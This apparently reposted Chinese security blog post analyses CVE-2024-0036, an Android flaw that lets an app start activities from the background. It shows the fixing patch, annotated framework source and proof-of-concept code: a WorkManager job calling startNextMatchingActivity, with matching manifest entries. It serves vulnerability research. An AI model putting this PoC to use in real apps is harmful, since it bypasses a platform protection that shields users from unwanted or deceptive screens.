从10开始,安卓对从后台启动Activity做了限制。比如,当我们有一个service通过startActivity启动一个activity时,会出现以下错误信息:
ActivityManager system_server W Background start not allowed: service Intent { act=snowman.xxx } to com.example.cvepoc/.MyService from pid=6111 uid=0 pkg=com.android.shell startFg?=false
➜ ~ adb shell am start-service -a snowman.xxx
Starting service: Intent { act=snowman.xxx }
Error: app is in background uid UidRecord{111568c u0a146 LAST bg:+7m11s327ms idle change:idle procs:0 seq(0,0,0)}
在什么情况下可以打开一个activity呢?有以下几个条件:
-
app在前端有可见窗口
-
在前端任务的acitivty栈中其中有一个属于该app
-
app的acitivty在很短时间内打开过或者刚结束
-
app实现了特定的服务
具体信息可参考https://developer.android.com/guide/components/activities/background-starts
今天要分析并复现的漏洞是CVE-2024-0036
先看patch
diff --git a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
index 6b65922..dd3a3c5 100644
--- a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
+++ b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
@@ -1412,7 +1412,12 @@
final long origId = Binder.clearCallingIdentity();
// TODO(b/64750076): Check if calling pid should really be -1.
- final int res = getActivityStartController()
+ try {
+ if (options == null) {
+ options = new SafeActivityOptions(ActivityOptions.makeBasic());
+ }
+ options.getOptions(r).setAvoidMoveToFront();
+ final int res = getActivityStartController()
.obtainStarter(intent, "startNextMatchingActivity")
.setCaller(r.app.getThread())
.setResolvedType(r.resolvedType)
@@ -1428,13 +1433,11 @@
.setRealCallingUid(r.launchedFromUid)
.setActivityOptions(options)
.execute();
- Binder.restoreCallingIdentity(origId);
-
- r.finishing = wasFinishing;
- if (res != ActivityManager.START_SUCCESS) {
- return false;
+ r.finishing = wasFinishing;
+ return res == ActivityManager.START_SUCCESS;
+ } finally {
+ Binder.restoreCallingIdentity(origId);
}
- return true;
}
}
这个patch最值得注意的是当options为null时,创建SafeActivityOptions
漏洞验证
首先找到可以在后台运行任务的方法
WorkManager workManager = WorkManager.getInstance(getApplicationContext());
PeriodicWorkRequest.Builder workRequestBuild = new PeriodicWorkRequest.Builder(
MyWorker.class, 15, TimeUnit.MINUTES)
.setConstraints(
new Constraints.Builder().
setRequiresCharging(true)
.setRequiredNetworkType(NetworkType.CONNECTED)
.build()
);
workManager.enqueue(workRequestBuild.build());
public class MyWorker extends Worker {
public static WeakReference<Activity> activityWeakReference;
public MyWorker(@NonNull Context context, @NonNull WorkerParameters workerParams) {
super(context, workerParams);
}
@NonNull
@Override
public Result doWork() {
Activity activity = activityWeakReference.get();
activity.startNextMatchingActivity(new Intent(Intent.ACTION_VIEW)
.setData(Uri.parse("ss://snowman.cafe"))
.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
return Result.success();
}
}
接下来仔细看一下startNextMatchingActivity这个关键函数,内部实现决定了漏洞如何验证。对这个漏洞的分析和关键点标柱在下方代码注释中体现。
@Override
public boolean startNextMatchingActivity(IBinder callingActivity, Intent intent,
Bundle bOptions) {
// intent参数来自于poc调用,攻击者完全可控
final ActivityRecord r = ActivityRecord.isInRootTaskLocked(callingActivity);
// r指向调用当前的activity
intent = new Intent(intent);
// The caller is not allowed to change the data.
intent.setDataAndType(r.intent.getData(), r.intent.getType());
// And we are resetting to find the next component...
intent.setComponent(null);
// 我们传入的intent被修改,修改为当前activity的data
ActivityInfo aInfo = null;
try {
List<ResolveInfo> resolves =
AppGlobals.getPackageManager().queryIntentActivities(
intent, r.resolvedType,
PackageManager.MATCH_DEFAULT_ONLY | STOCK_PM_FLAGS,
UserHandle.getCallingUserId()).getList();
// Look for the original activity in the list...
final int N = resolves != null ? resolves.size() : 0;
for (int i = 0; i < N; i++) {
ResolveInfo rInfo = resolves.get(i);
if (rInfo.activityInfo.packageName.equals(r.packageName)
&& rInfo.activityInfo.name.equals(r.info.name)) {
// We found the current one... the next matching is
// after it.
i++;
if (i < N) {
aInfo = resolves.get(i).activityInfo;
}
// 这里限制了打开的nextActivity和当前activity同属一个应用
break;
}
}
} catch (RemoteException e) {
}
intent.setComponent(new ComponentName(
aInfo.applicationInfo.packageName, aInfo.name));
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_ACTIVITY_FORWARD_RESULT
| Intent.FLAG_ACTIVITY_CLEAR_TOP
| Intent.FLAG_ACTIVITY_MULTIPLE_TASK
| FLAG_ACTIVITY_NEW_TASK));
final int res = getActivityStartController()
.obtainStarter(intent, "startNextMatchingActivity")
.setCaller(r.app.getThread())
.setResolvedType(r.resolvedType)
.setActivityInfo(aInfo)
.setResultTo(resultTo != null ? resultTo.token : null)
.setResultWho(resultWho)
.setRequestCode(requestCode)
.setCallingPid(-1)
.setCallingUid(r.launchedFromUid)
.setCallingPackage(r.launchedFromPackage)
.setCallingFeatureId(r.launchedFromFeatureId)
.setRealCallingPid(-1)
.setRealCallingUid(r.launchedFromUid)
.setActivityOptions(options)
.execute();
r.finishing = wasFinishing;
return res == ActivityManager.START_SUCCESS;
} finally {
Binder.restoreCallingIdentity(origId);
}
}
}
基于此,我们可以创建三个activity,满足以上条件
首先是调用startNextMatchingActivity的当前Activity
<activity
android:name=".MainActivity"
android:exported="true"
android:label="@string/title_activity_main2"
android:theme="@style/Theme.CvePoc">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data
android:host="snowman.cafe"
android:scheme="ss" />
</intent-filter>
</activity>
<activity
android:name=".SettingsActivity"
android:exported="true"
android:label="@string/title_activity_settings">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data
android:host="snowman.cafe"
android:scheme="ss" />
</intent-filter>
</activity>
当前Activity的onCreate函数实现,创建一个后台任务
MyService.activityWeakReference = new WeakReference<>(MainActivity.this);
MyWorker.activityWeakReference = new WeakReference<>(MainActivity.this);
WorkManager workManager = WorkManager.getInstance(getApplicationContext());
PeriodicWorkRequest.Builder workRequestBuild = new PeriodicWorkRequest.Builder(
MyWorker.class, 15, TimeUnit.MINUTES)
.setConstraints(
new Constraints.Builder().
setRequiresCharging(true)
.setRequiredNetworkType(NetworkType.CONNECTED)
.build()
);
workManager.enqueue(workRequestBuild.build());
由后台任务调用存在漏洞的函数startNextMatchingActivity
public Result doWork() {
Activity activity = activityWeakReference.get();
activity.startNextMatchingActivity(new Intent(Intent.ACTION_VIEW)
.setData(Uri.parse("ss://snowman.cafe"))
.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
return Result.success();
}
需要注意的是,满足过滤条件的Activity是根据activity在AndroidManifest.xml
AndroidManifest.xml定义的顺序。
致谢
最后非常感谢一位网友的交流讨论,这篇文章终于画上了句号。
原文始发于微信公众号(大山子雪人):android漏洞复现:从后台启动Activity
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论